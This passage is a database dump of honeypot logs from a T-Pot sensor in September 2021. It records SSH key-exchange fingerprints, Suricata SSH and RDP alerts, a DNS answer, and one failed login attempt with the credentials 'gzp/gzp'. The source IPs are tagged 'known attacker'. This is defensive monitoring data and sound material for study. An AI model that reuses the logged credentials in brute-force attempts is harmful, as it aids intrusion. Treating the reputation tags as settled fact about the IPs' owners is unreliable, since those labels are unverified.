"proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 271536239480119, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55464, "dest_port": 22, "timestamp": "2021-09-20T11:48:41.479813Z", "@timestamp": "2021-09-20T11:48:41.479Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32015	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:48:41.479942+03	2021-09-20 15:00:02.916716+03	{"_id": "rQYJA3wBvYTbRNuEb0f0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55464, "dest_port": 22, "timestamp": "2021-09-20T11:48:41.479942", "@timestamp": "2021-09-20T11:48:41.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32016	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:48:41.998595+03	2021-09-20 15:00:02.917716+03	{"_id": "rgYJA3wBvYTbRNuEcUdL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [gzp/gzp] failed", "session": "6b34f6d1eedf", "@version": "1", "password": "gzp", "username": "gzp", "timestamp": "2021-09-20T11:48:41.998595Z", "@timestamp": "2021-09-20T11:48:41.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32017	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:48:39.459646+03	2021-09-20 15:00:02.919717+03	{"_id": "mAYJA3wBvYTbRNuEaEci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35694, "timestamp": "2021-09-20T11:48:39.459646", "@timestamp": "2021-09-20T11:48:39.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32018	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:48:40.138142+03	2021-09-20 15:00:02.920716+03	{"_id": "mwYJA3wBvYTbRNuEaEci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35696, "timestamp": "2021-09-20T11:48:40.138142", "@timestamp": "2021-09-20T11:48:40.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32019	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:48:41.375622+03	2021-09-20 15:00:02.921717+03	{"_id": "pwYJA3wBvYTbRNuEbUdj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6b34f6d1eedf", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:41.375622Z", "@timestamp": "2021-09-20T11:48:41.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32020	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:48:41.479942+03	2021-09-20 15:00:02.922717+03	{"_id": "qwYJA3wBvYTbRNuEbkfw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:41.265527+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 271536239480119, "payload": "AAADzAYUjU7w0aCGh/N9fgEHoE1GzwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55464, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:41.479942Z", "@timestamp": "2021-09-20T11:48:41.479Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......N......}~...MF....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32021	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:41.376827+03	2021-09-20 15:00:02.924717+03	{"_id": "rAYJA3wBvYTbRNuEb0f0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55464, "timestamp": "2021-09-20T11:48:41.376827", "@timestamp": "2021-09-20T11:48:41.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32022	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:49:02.178086+03	2021-09-20 15:00:02.925717+03	{"_id": "ywYJA3wBvYTbRNuEvUcZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:49:01.580338+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 747111527078642, "payload": "AAADzAYUdfTrgVnUBIrwbvh1RD0UQwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54888, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:49:02.178086Z", "@timestamp": "2021-09-20T11:49:02.178Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......u...Y....n.uD=.C...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32023	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:01.880319+03	2021-09-20 15:00:02.926716+03	{"_id": "zAYJA3wBvYTbRNuEvkce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54888, "timestamp": "2021-09-20T11:49:01.880319", "@timestamp": "2021-09-20T11:49:01.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32024	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:49:02.17871+03	2021-09-20 15:00:02.928717+03	{"_id": "zwYJA3wBvYTbRNuEv0d1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0ee04c337f15", "@version": "1", "timestamp": "2021-09-20T11:49:02.178710Z", "@timestamp": "2021-09-20T11:49:02.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32025	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:48:23.000254+03	2021-09-20 15:00:02.929717+03	{"_id": "kwYJA3wBvYTbRNuEZ0ce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:47:21.980911+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2124516122294191, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 50140, "timestamp": "2021-09-20T11:48:23.000254Z", "@timestamp": "2021-09-20T11:48:23.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32026	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:48:39.365995+03	2021-09-20 15:00:02.930717+03	{"_id": "lQYJA3wBvYTbRNuEZ0ce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16307, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3355, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", 